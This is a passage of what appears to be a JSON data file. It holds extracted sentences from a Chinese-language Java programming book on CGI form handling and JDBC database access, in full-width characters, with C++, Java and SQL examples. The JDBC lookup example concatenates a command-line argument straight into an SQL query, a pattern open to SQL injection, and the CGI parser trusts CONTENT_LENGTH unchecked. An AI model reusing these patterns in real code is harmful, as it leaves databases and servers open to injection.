ｐｒｉｎｔｆ（＂Ａｌｒｅａｄｙ ｉｎ ｌｉｓｔ： ％ｓ＂， ｅｍａｉｌ．ｖａｌｕｅ（））； ｒｅｔｕｒｎ； ｝ ／／ Ｉｔ＇ｓ ｎｏｔ ｉｎ ｔｈｅ ｌｉｓｔ， ａｄｄ ｉｔ： ｆｓｅｅｋ（ｌｉｓｔ， ０， ＳＥＥＫ＿ＥＮＤ）； ｆｐｒｉｎｔｆ（ｌｉｓｔ， ＂％ｓ ＜％ｓ＞； ＼ｎ＂， ｎａｍｅ．ｖａｌｕｅ（）， ｅｍａｉｌ．ｖａｌｕｅ（））； ｆｆｌｕｓｈ（ｌｉｓｔ）； ｆｃｌｏｓｅ（ｌｉｓｔ）； ｐｒｉｎｔｆ（＂％ｓ ＜％ｓ＞ ａｄｄｅｄ ｔｏ ｌｉｓｔ＼ｎ＂， ｎａｍｅ．ｖａｌｕｅ（）， ｅｍａｉｌ．ｖａｌｕｅ（））；"},
    {"text": "在使用 ＧＥＴ 方法时（通过在 ＦＯＲＭ 引导命令的 ＭＥＴＨＯＤ 标记内部设置，但这在这里由数据发送的方式控制）， Ｗｅｂ 服务器会收集位于“？"},
    {"text": "所以为 了读取那些信息，必须获得 ＱＵＥＲＹ＿ＳＴＲＩＮＧ 的值，这是用标准的 Ｃ 库函数 ｇｅｔｎｖ（）完成的。 在 ｍａｉｎ（）中，注意 对 ＱＵＥＲＹ＿ＳＴＲＩＮＧ 的解析有多么容易：只需把它传递给用于 ＣＧＩ＿ｖｅｃｔｏｒ 对象的构建器（名为 ｑｕｅｒｙ），剩下 的所有工作都会自动进行。 从这时开始，我们就可以从 ｑｕｅｒｙ 中取出名称和值，把它们当作数组看待（这是 由于 ｏｐｅｒａｔｏｒ［］在 ｖｅｃｔｏｒ 里已经过载了）。"},
    {"text": "ＣＧＩ 程序用两个方式之一传递它们的输入：在 ＧＥＴ 执行期 间通过 ＱＵＥＲＹ＿ＳＴＲＩＮＧ 传递（目前用的这种方式），或者在 ＰＯＳＴ 期间通过标准输入。 但 ＣＧＩ 程序通过标准输 出发送自己的输出，这通常是用 Ｃ 程序的 ｐｒｉｎｔｆ（） 命令实现的。"},
    {"text": "这种设计的另一个好处是由于 Ｐａｉｒ 和 ＣＧＩ＿ｖｅｃｔｏｒ 都得到了定义，大多数工作都帮我们自动完成了，所以只 需修改 ｍａｉｎ（）即可轻松创建自己的 ＣＧＩ 程序。"},
    {"text": "但下面这个 程序准备采用标准方法：用“＜＜”将信息发给 ｃｏｕｔ，并用一个成员函数（此时是 ｒｅａｄ（））从 ｃｉｎ 中读入数 据： ／／： ＰＯＳＴｔｅｓｔ．ｃｐｐ ／／ ＣＧＩ＿ｖｅｃｔｏｒ ｗｏｒｋｓ ａｓ ｅａｓｉｌｙ ｗｉｔｈ ＰＯＳＴ ａｓ ｉｔ ／／ ｄｏｅｓ ｗｉｔｈ ＧＥＴ． Ｗｒｉｔｔｅｎ ｉｎ ＂ｐｕｒｅ＂ Ｃ＋＋． ＃ｉｎｃｌｕｄｅ ＜ｉｏｓｔｒｅａｍ．ｈ＞ ＃ｉｎｃｌｕｄｅ ＂ＣＧＩＴｏｏｌｓ．ｈ＂ ｖｏｉｄ ｍａｉｎ（） ｛ ｃｏｕｔ ＜＜ ＂Ｃｏｎｔｅｎｔ－ｔｙｐｅ： ｔｅｘｔ／ｐｌａｉｎ＼ｎ＂ ＜＜ ｅｎｄｌ；"},
    {"text": "／／ Ｆｏｒ ａ ＣＧＩ ＂ＰＯＳＴ，＂ ｔｈｅ ｓｅｒｖｅｒ ｐｕｔｓ ｔｈｅ ｌｅｎｇｔｈ ／／ ｏｆ ｔｈｅ ｃｏｎｔｅｎｔ ｓｔｒｉｎｇ ｉｎ ｔｈｅ ｅｎｖｉｒｏｎｍｅｎｔ ／／ ｖａｒｉａｂｌｅ ＣＯＮＴＥＮＴ＿ＬＥＮＧＴＨ： ｃｈａｒ＊ ｃｌｅｎ ＝ ｇｅｔｅｎｖ（＂ＣＯＮＴＥＮＴ＿ＬＥＮＧＴＨ＂）； ｉｆ（ｃｌｅｎ ＝＝ ０） ｛ ｃｏｕｔ ＜＜ ＂Ｚｅｒｏ ＣＯＮＴＥＮＴ＿ＬＥＮＧＴＨ＂ ＜＜ ｅｎｄｌ；"},
    {"text": "ｒｅｔｕｒｎ； ｝ ｉｎｔ ｌｅｎ ＝ ａｔｏｉ（ｃｌｅｎ）； ｃｈａｒ＊ ｑｕｅｒｙ＿ｓｔｒ ＝ ｎｅｗ ｃｈａｒ［ｌｅｎ ＋ １］； ｃｉｎ．ｒｅａｄ（ｑｕｅｒｙ＿ｓｔｒ， ｌｅｎ）； ｑｕｅｒｙ＿ｓｔｒ［ｌｅｎ］ ＝ ＇＼０＇； ＣＧＩ＿ｖｅｃｔｏｒ ｑｕｅｒｙ（ｑｕｅｒｙ＿ｓｔｒ）； ／／ Ｔｅｓｔ： ｄｕｍｐ ａｌｌ ｎａｍｅｓ ａｎｄ ｖａｌｕｅｓ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｑｕｅｒｙ．ｓｉｚｅ（）； ｉ＋＋） ｃｏｕｔ ＜＜ ＂ｑｕｅｒｙ［＂ ＜＜ ｉ ＜＜ ＂］．ｎａｍｅ（） ＝ ［＂ ＜＜ ｑｕｅｒｙ［ｉ］．ｎａｍｅ（） ＜＜ ＂］， ＂ ＜＜ ＂ｑｕｅｒｙ［＂ ＜＜ ｉ ＜＜ ＂］．ｖａｌｕｅ（） ＝ ［＂ ＜＜ ｑｕｅｒｙ［ｉ］．ｖａｌｕｅ（） ＜＜ ＂］＂ ＜＜ ｅｎｄｌ； ｄｅｌｅｔｅ ｑｕｅｒｙ＿ｓｔｒ；"},
    {"text": "然后就可以写一个简单的 ＨＴＭＬ 页进行 测试，就象下面这样： ＜ＨＴＭＬ＞ ＜ＨＥＡＤ＞ ＜ＭＥＴＡ ＣＯＮＴＥＮＴ＝＂ｔｅｘｔ／ｈｔｍｌ＂＞ ＜ＴＩＴＬＥ＞Ａ ｔｅｓｔ ｏｆ ｓｔａｎｄａｒｄ ＨＴＭＬ ＰＯＳＴ＜／ＴＩＴＬＥ＞ ＜／ＨＥＡＤ＞ Ｔｅｓｔ， ｕｓｅｓ ｓｔａｎｄａｒｄ ｈｔｍｌ ＰＯＳＴ ＜Ｆｏｒｍ ｍｅｔｈｏｄ＝＂ＰＯＳＴ＂ ＡＣＴＩＯＮ＝＂／ｃｇｉ－ｂｉｎ／ＰＯＳＴｔｅｓｔ＂＞ ＜Ｐ＞Ｆｉｅｌｄ１： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂Ｆｉｅｌｄ１＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜Ｐ＞Ｆｉｅｌｄ２： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂Ｆｉｅｌｄ２＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜Ｐ＞Ｆｉｅｌｄ３： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂Ｆｉｅｌｄ３＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜Ｐ＞Ｆｉｅｌｄ４： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂Ｆｉｅｌｄ４＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜Ｐ＞Ｆｉｅｌｄ５： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂Ｆｉｅｌｄ５＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜Ｐ＞Ｆｉｅｌｄ６： ＜ＩＮＰＵＴ ＴＹＰＥ ＝ ＂ｔｅｘｔ＂ ＮＡＭＥ ＝ ＂Ｆｉｅｌｄ６＂ ＶＡＬＵＥ ＝ ＂＂ ｓｉｚｅ ＝ ＂４０＂＞＜／ｐ＞ ＜ｐ＞＜ｉｎｐｕｔ ｔｙｐｅ ＝ ＂ｓｕｂｍｉｔ＂ ｎａｍｅ ＝ ＂ｓｕｂｍｉｔ＂ ＞ ＜／ｐ＞ ＜／Ｆｏｒｍ＞ ＜／ＨＴＭＬ＞ 填好这个表单并提交出去以后，会得到一个简单的文本页，其中包含了解析出来的结果。"},
    {"text": "在用常规方 式调用了 ＣＧＩ 程序以后，必须另行建立与服务器的一个连接，以便将查询字串反馈给它。 服务器随后会进行 一番处理，再通过标准输入将查询字串反馈回 ＣＧＩ 程序。"},
    {"text": "为建立与服务器的一个直接连接，必须取得自己创建的 ＵＲＬ，然后调用 ｏｐｅｎＣｏｎｎｅｃｔｉｏｎ（）创建一个 ＵＲＬＣｏｎｎｅｃｔｉｏｎ。"},
    {"text": "但是，由于 ＵＲＬＣｏｎｎｅｃｔｉｏｎ 一般不允许我们把数据发给它，所以必须很可笑地调用 ｓｅｔＤｏＯｕｔｐｕｔ（ｔｒｕｅ）函数，同时调用的还包括 ｓｅｔＤｏＩｎｐｕｔ（ｔｒｕｅ）以及 ｓｅｔＡｌｌｏｗＵｓｅｒＩｎｔｅｒａｃｔｉｏｎ（ｆａｌｓｅ）—— 注释⑥。 最后，可调用 ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（）来创建一个 ＯｕｔｐｕｔＳｔｒｅａｍ（输出数据流），并把它封装到一个 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 里，以便能按传统方式同它通信。 下面列出的便是一个用于完成上述工作的程序片，必须 在从它的各个字段里收集了数据之后再执行它： ／／： ＰＯＳＴｔｅｓｔ．ｊａｖａ ／／ Ａｎ ａｐｐｌｅｔ ｔｈａｔ ｓｅｎｄｓ ｉｔｓ ｄａｔａ ｖｉａ ａ ＣＧＩ ＰＯＳＴ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ５７４ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＰＯＳＴｔｅｓｔ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｆｉｎａｌ ｓｔａｔｉｃ ｉｎｔ ＳＩＺＥ ＝ １０； Ｂｕｔｔｏｎ ｓｕｂｍｉｔ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｕｂｍｉｔ＂）； ＴｅｘｔＦｉｅｌｄ［］ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ［ＳＩＺＥ］； Ｓｔｒｉｎｇ ｑｕｅｒｙ ＝ ＂＂； Ｌａｂｅｌ ｌ ＝ ｎｅｗ Ｌａｂｅｌ（）； ＴｅｘｔＡｒｅａ ｔａ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（１５， ６０）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（ｔ．ｌｅｎｇｔｈ ＋ ２， ２））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｐ．ａｄｄ（ｎｅｗ Ｌａｂｅｌ（ ＂Ｆｉｅｌｄ ＂ ＋ ｉ ＋ ＂ ＂， Ｌａｂｅｌ．ＲＩＧＨＴ））； ｐ．ａｄｄ（ｔ［ｉ］ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０））； ｝ ｐ．ａｄｄ（ｌ）； ｐ．ａｄｄ（ｓｕｂｍｉｔ）； ａｄｄ（＂Ｎｏｒｔｈ＂， ｐ）； ａｄｄ（＂Ｓｏｕｔｈ＂， ｔａ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓｕｂｍｉｔ）） ｛ ｑｕｅｒｙ ＝ ＂＂； ｔａ．ｓｅｔＴｅｘｔ（＂＂）； ／／ Ｅｎｃｏｄｅ ｔｈｅ ｑｕｅｒｙ ｆｒｏｍ ｔｈｅ ｆｉｅｌｄ ｄａｔａ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｔ．ｌｅｎｇｔｈ； ｉ＋＋） ｑｕｅｒｙ ＋＝ ＂Ｆｉｅｌｄ＂ ＋ ｉ ＋ ＂＝＂ ＋ ＵＲＬＥｎｃｏｄｅｒ．ｅｎｃｏｄｅ（ ｔ［ｉ］．ｇｅｔＴｅｘｔ（）．ｔｒｉｍ（）） ＋ ＂＆＂； ｑｕｅｒｙ ＋＝ ＂ｓｕｂｍｉｔ＝Ｓｕｂｍｉｔ＂； ／／ Ｓｅｎｄ ｔｈｅ ｎａｍｅ ｕｓｉｎｇ ＣＧＩ＇ｓ ＰＯＳＴ ｐｒｏｃｅｓｓ： ｔｒｙ ｛ ＵＲＬ ｕ ＝ ｎｅｗ ＵＲＬ（ ｇｅｔＤｏｃｕｍｅｎｔＢａｓｅ（）， ＂ｃｇｉ－ｂｉｎ／ＰＯＳＴｔｅｓｔ＂）； ＵＲＬＣｏｎｎｅｃｔｉｏｎ ｕｒｌｃ ＝ ｕ．ｏｐｅｎＣｏｎｎｅｃｔｉｏｎ（）； ｕｒｌｃ．ｓｅｔＤｏＯｕｔｐｕｔ（ｔｒｕｅ）； ｕｒｌｃ．ｓｅｔＤｏＩｎｐｕｔ（ｔｒｕｅ）； ｕｒｌｃ．ｓｅｔＡｌｌｏｗＵｓｅｒＩｎｔｅｒａｃｔｉｏｎ（ｆａｌｓｅ）； ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｓｅｒｖｅｒ ＝ ｎｅｗ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ（ ｕｒｌｃ．ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（））； ／／ Ｓｅｎｄ ｔｈｅ ｄａｔａ ｓｅｒｖｅｒ．ｗｒｉｔｅＢｙｔｅｓ（ｑｕｅｒｙ）； ｓｅｒｖｅｒ．ｃｌｏｓｅ（）； ／／ Ｒｅａｄ ａｎｄ ｄｉｓｐｌａｙ ｔｈｅ ｒｅｓｐｏｎｓｅ． Ｙｏｕ ／／ ｃａｎｎｏｔ ｕｓｅ ／／ ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＤｏｃｕｍｅｎｔ（ｕ）； ／／ ｔｏ ｄｉｓｐｌａｙ ｔｈｅ ｒｅｓｕｌｔｓ ａｓ ａ Ｗｅｂ ｐａｇｅ！ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ５７５ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｕｒｌｃ．ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（））； Ｓｔｒｉｎｇ ｓ； ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｔａ．ａｐｐｅｎｄＴｅｘｔ（ｓ ＋ ＂＼ｎ＂）； ｝ ｉｎ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ （Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（ｅ．ｔｏＳｔｒｉｎｇ（））； ｝ ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "｝ ｝ ／／／：￣ ⑥：我不得不说自己并没有真正理解这儿都发生了什么事情，这些概念都是从 Ｅｌｌｉｏｔｔｅ Ｒｕｓｔｙ Ｈａｒｏｌｄ 编著 的《Ｊａｖａ Ｎｅｔｗｏｒｋ Ｐｒｏｇｒａｍｍｉｎｇ》里得来的，该书由 Ｏ＇Ｒｅｉｌｌｙ 于 １９９７ 年出版。"},
    {"text": "信息发送到服务器后，我们调用 ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（），并把返回值封装到一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 里，以便自己 能读取结果。"},
    {"text": "也就是说，ｓｈｏｗＤｏｃｕｍｅｎｔ（）确实可以运 行，但从 ＰＯＳＴｔｅｓｔ 得到的返回结果是“Ｚｅｒｏ ＣＯＮＴＥＮＴ＿ＬＥＮＧＴＨ”（内容长度为零）。"},
    {"text": "确实存在一种“标准”数据库语言，即“结构查询 语言”（ＳＱＬ－９２），但通常都必须确切知道自己要和哪家数据库公司打交道，否则极易出问题，尽管存在所 谓的“标准”。"},
    {"text": "由于 ＪＤＢＣ 的设计从 ＯＤＢＣ 吸收了许多灵 感，所以可以选用的第一种子协议就是“ｊｄｂｃ －ｏｄｂｃ 桥”，它用“ｏｄｂｃ”关键字即可指定。"},
    {"text": "（３） 数据库标识符：随使用的数据库驱动程序的不同而变化，但一般都提供了一个比较符合逻辑的名称，由 数据库管理软件映射（对应）到保存了数据表的一个物理目录。 为使自己的数据库标识符具有任何含义，必 须用自己的数据库管理软件为自己喜欢的名字注册（注册的具体过程又随运行平台的不同而变化）。"},
    {"text": "举个例子来说，若想通过 ＯＤＢＣ 子协议同一个标 ５７６ 识为“ｐｅｏｐｌｅ”的数据库连接，相应的数据库 ＵＲＬ 可设为： Ｓｔｒｉｎｇ ｄｂＵｒｌ ＝ ＂ｊｄｂｃ：ｏｄｂｃ：ｐｅｏｐｌｅ＂ 如果通过一个网络连接，数据库 ＵＲＬ 也需要包含对远程机器进行标识的信息。"},
    {"text": "准备好同数据库连接后，可调用静态方法 ＤｒｉｖｅｒＭａｎａｇｅｒ．ｇｅｔＣｏｎｎｅｃｔｉｏｎ（），将数据库的 ＵＲＬ 以及进入那个 数据库所需的用户名密码传递给它。"},
    {"text": "它只选 择那些有 Ｅ－ｍａｉｌ 地址的人的名字，然后列印出符合查询条件的所有人： ／／： Ｌｏｏｋｕｐ．ｊａｖａ ／／ Ｌｏｏｋｓ ｕｐ ｅｍａｉｌ ａｄｄｒｅｓｓｅｓ ｉｎ ａ ／／ ｌｏｃａｌ ｄａｔａｂａｓｅ ｕｓｉｎｇ ＪＤＢＣ ｉｍｐｏｒｔ ｊａｖａ．ｓｑｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｏｏｋｕｐ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｔｒｉｎｇ ｄｂＵｒｌ ＝ ＂ｊｄｂｃ：ｏｄｂｃ：ｐｅｏｐｌｅ＂； Ｓｔｒｉｎｇ ｕｓｅｒ ＝ ＂＂； Ｓｔｒｉｎｇ ｐａｓｓｗｏｒｄ ＝ ＂＂； ｔｒｙ ｛ ／／ Ｌｏａｄ ｔｈｅ ｄｒｉｖｅｒ （ｒｅｇｉｓｔｅｒｓ ｉｔｓｅｌｆ） Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ ＂ｓｕｎ．ｊｄｂｃ．ｏｄｂｃ．ＪｄｂｃＯｄｂｃＤｒｉｖｅｒ＂）； Ｃｏｎｎｅｃｔｉｏｎ ｃ ＝ ＤｒｉｖｅｒＭａｎａｇｅｒ．ｇｅｔＣｏｎｎｅｃｔｉｏｎ（ ｄｂＵｒｌ， ｕｓｅｒ， ｐａｓｓｗｏｒｄ）； Ｓｔａｔｅｍｅｎｔ ｓ ＝ ｃ．ｃｒｅａｔｅＳｔａｔｅｍｅｎｔ（）； ／／ ＳＱＬ ｃｏｄｅ： ＲｅｓｕｌｔＳｅｔ ｒ ＝ ｓ．ｅｘｅｃｕｔｅＱｕｅｒｙ（ ＂ＳＥＬＥＣＴ ＦＩＲＳＴ， ＬＡＳＴ， ＥＭＡＩＬ ＂ ＋ ＂ＦＲＯＭ ｐｅｏｐｌｅ．ｃｓｖ ｐｅｏｐｌｅ ＂ ＋ ＂ＷＨＥＲＥ ＂ ＋ ＂（ＬＡＳＴ＝＇＂ ＋ ａｒｇｓ［０］ ＋ ＂＇） ＂ ＋ ＂ ＡＮＤ （ＥＭＡＩＬ Ｉｓ Ｎｏｔ Ｎｕｌｌ） ＂ ＋ ＂ＯＲＤＥＲ ＢＹ ＦＩＲＳＴ＂）； ｗｈｉｌｅ（ｒ．ｎｅｘｔ（）） ｛ ／／ Ｃａｐｉｔａｌｉｚａｔｉｏｎ ｄｏｅｓｎ＇ｔ ｍａｔｔｅｒ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｒ．ｇｅｔＳｔｒｉｎｇ（＂Ｌａｓｔ＂） ＋ ＂， ＂ ＋ ｒ．ｇｅｔＳｔｒｉｎｇ（＂ｆＩＲＳＴ＂） ＋ ＂： ＂ ＋ ｒ．ｇｅｔＳｔｒｉｎｇ（＂ＥＭＡＩＬ＂） ）； ｝ ｓ．ｃｌｏｓｅ（）； ／／ Ａｌｓｏ ｃｌｏｓｅｓ ＲｅｓｕｌｔＳｅｔ ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "用 ＤｒｉｖｅｒＭａｎａｇｅｒ．ｇｅｔＣｏｎｎｅｃｔｉｏｎ（）建好连接后，接下来可根据结果 Ｃｏｎｎｅｃｔｉｏｎ 对象创建一个 Ｓｔａｔｅｍｅｎｔ ５７７ （语句）对象，这是用 ｃｒｅａｔｅＳｔａｔｅｍｅｎｔ（）方法实现的。"},
    {"text": "根据结果 Ｓｔａｔｅｍｅｎｔ，我们可调用 ｅｘｅｃｕｔｅＱｕｅｒｙ（），向其传递包含了 ＳＱＬ－９２ 标准 ＳＱＬ 语句的一个字串（不久就会看到如何自动创建这类语句， 所以没必要在这里知道关于 ＳＱＬ 更多的东西）。 ｅｘｅｃｕｔｅＱｕｅｒｙ（）方法会返回一个 ＲｅｓｕｌｔＳｅｔ（结果集）对象，它与继承器非常相似：ｎｅｘｔ（）方法将继承器移 至语句中的下一条记录；"},
    {"text": "１． 步骤 １：寻找 ＪＤＢＣ 驱动程序 上述程序包含了下面这条语句： Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂ｓｕｎ．ｊｄｂｃ．ｏｄｂｃ．ＪｄｂｃＯｄｂｃＤｒｉｖｅｒ＂）；"},
    {"text": "事实上， 上述用于装载 ｊｄｂｃ－ｏｄｂｃ 驱动程序（实际是与 ＪＤＫ １．１ 配套提供的唯一驱动）的语句在联机文档的多处地方 均有出现（特别是在一个标记为“ＪＤＢＣ－ＯＤＢＣ Ｂｒｉｄｇｅ Ｄｒｉｖｅｒ”的页内）。"},
    {"text": "其中可能有两个图标都含有“ＯＤＢＣ”字样，必须选择那个“３２ 位 ＯＤＢＣ ”，因为另一个是 为了保持与 １６ 位软件的向后兼容而设置的，和 ＪＤＢＣ 混用没有任何结果。 双击“３２ 位 ＯＤＢＣ ”图标后，看到的 应该是一个卡片式对话框，上面一排有多个卡片标签，其中包括“用户 ＤＳＮ”、“系统 ＤＳＮ”、“文件 ＤＳＮ” 等等。"},
    {"text": "我把它导出成为一个逗号分隔的 ＡＳＣＩＩ 文件（一般有个．ｃｓｖ 扩展名，用 Ｏｕｔｌｏｏｋ Ｅｘｐｒｅｓｓ 导出通信簿时亦可选用同样的文件格式）。"},
    {"text": "在“文件 ＤＳＮ”区域，我按下“添加”按钮，选择用于控 制逗号分隔 ＡＳＣＩＩ 文件的文本驱动程序（Ｍｉｃｒ ｏｓｏｆｔ Ｔｅｘｔ Ｄｒｉｖｅｒ），然后撤消对“使用当前目录”的选择， 以便导出数据文件时可以自行指定目录。"},
    {"text": "每个文件一般都包含了单个“数据表”，而 且 ＳＱＬ 语句可以产生从数据库中多个表摘取出来的结果（这叫作“联合”，或者 ｊｏｉｎ ）只包含了单张表的数 ５７８ 据库（就象目前这个）通常叫作“平面文件数据库”。"},
    {"text": "当然，可以简单地运 行上述的 ＪＤＢＣ 示范程序，并加入下述语句： Ｃｏｎｎｅｃｔｉｏｎ ｃ ＝ ＤｒｉｖｅｒＭａｎａｇｅｒ．ｇｅｔＣｏｎｎｅｃｔｉｏｎ（ ｄｂＵｒｌ， ｕｓｅｒ， ｐａｓｓｗｏｒｄ）；"},
    {"text": "查询工具必须知道数据库在什么地方，而 Ｍｉｃｒｏｓｏｆｔ Ｑｕｅｒｙ 要求我进入 ＯＤＢＣ Ａｄｍｉｎｉｓｔｒａｔｏｒ 的“文件 ＤＳＮ”卡片，并在那里新添一个条目。"},
    {"text": "４． 步骤 ４：建立自己的 ＳＱＬ 查询 我用 Ｍｉｃｒｏｓｏｆｔ Ｑｕｅｒｙ 创建的查询不仅指出目标数据库存在且次序良好，也会自动生成 ＳＱＬ 代码，以便将其 插入我自己的 Ｊａｖａ 程序。"},
    {"text": "选择“ｐｅｏｐｌｅ”数据库（等价于用适应的数据库 ＵＲＬ 打开数据库连接）。 （２） 选择数据库中的“ｐｅｏｐｌｅ”表。 从这张数据表中，选择 ＦＩＲＳＴ，ＬＡＳＴ 和 ＥＭＡＩＬ 列。 （３） 在“Ｆｉｌｔｅｒ Ｄａｔａ”（过滤器数据库）下，选择 ＬＡＳＴ，并选择“ｅｑｕａｌｓ”（等于），加上参数 Ｅｃｋｅｌ。"},
    {"text": "点 选“Ａｎｄ”单选钮。 （４） 选择 ＥＭＡＩＬ，并选中“Ｉｓ ｎｏｔ Ｎｕｌｌ”（不为空）。 （５） 在“Ｓｏｒｔ Ｂｙ”下，选择 ＦＩＲＳＴ。"},
    {"text": "对于这个查询，相应的 ＳＱＬ 代码如下： ＳＥＬＥＣＴ ｐｅｏｐｌｅ．ＦＩＲＳＴ， ｐｅｏｐｌｅ．ＬＡＳＴ， ｐｅｏｐｌｅ．ＥＭＡＩＬ ＦＲＯＭ ｐｅｏｐｌｅ．ｃｓｖ ｐｅｏｐｌｅ ＷＨＥＲＥ （ｐｅｏｐｌｅ．ＬＡＳＴ＝＇Ｅｃｋｅｌ＇） ＡＮＤ （ｐｅｏｐｌｅ．ＥＭＡＩＬ Ｉｓ Ｎｏｔ Ｎｕｌｌ） ＯＲＤＥＲ ＢＹ ｐｅｏｐｌｅ．ＦＩＲＳＴ 若查询比较复杂，手工编码极易出错。"},
    {"text": "那是由于查询工具对所有名字都进行了限定，即便 涉及的仅有一个数据表（若真的涉及多个数据表，这种限定可避免来自不同表的同名数据列发生冲突）。"},
    {"text": "由 于这个查询只需要用到一个数据表，所以可考虑从大多数名字中删除“ｐｅｏｐｌｅ”限定符，就象下面这样： ＳＥＬＥＣＴ ＦＩＲＳＴ， ＬＡＳＴ， ＥＭＡＩＬ ＦＲＯＭ ｐｅｏｐｌｅ．ｃｓｖ ｐｅｏｐｌｅ ＷＨＥＲＥ （ＬＡＳＴ＝＇Ｅｃｋｅｌ＇） ＡＮＤ （ＥＭＡＩＬ Ｉｓ Ｎｏｔ Ｎｕｌｌ） ５７９ ＯＲＤＥＲ ＢＹ ＦＩＲＳＴ 此外，我们不希望“硬编码”这个程序，从而只能查找一个特定的名字。"},
    {"text": "如下所示： ＂ＳＥＬＥＣＴ ＦＩＲＳＴ， ＬＡＳＴ， ＥＭＡＩＬ ＂ ＋ ＂ＦＲＯＭ ｐｅｏｐｌｅ．ｃｓｖ ｐｅｏｐｌｅ ＂ ＋ ＂ＷＨＥＲＥ ＂ ＋ ＂（ＬＡＳＴ＝＇＂ ＋ ａｒｇｓ［０］ ＋ ＂＇） ＂ ＋ ＂ ＡＮＤ （ＥＭＡＩＬ Ｉｓ Ｎｏｔ Ｎｕｌｌ） ＂ ＋ ＂ＯＲＤＥＲ ＢＹ ＦＩＲＳＴ＂）；"},
    {"text": "１ ５ ． ７ ． ２ 查找程序的 Ｇ Ｕ Ｉ 版本 最好的方法是让查找程序一直保持运行，要查找什么东西时只需简单地切换到它，并键入要查找的名字即 可。"},
    {"text": "下面这个程序将查找程序作为一个“ａｐｐｌｉｃａｔｉｏｎ／ａｐｐｌｅｔ ”创建，且添加了名字自动填写功能，所以不 必键入完整的姓，即可看到数据： ／／： ＶＬｏｏｋｕｐ．ｊａｖａ ／／ ＧＵＩ ｖｅｒｓｉｏｎ ｏｆ Ｌｏｏｋｕｐ．ｊａｖａ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
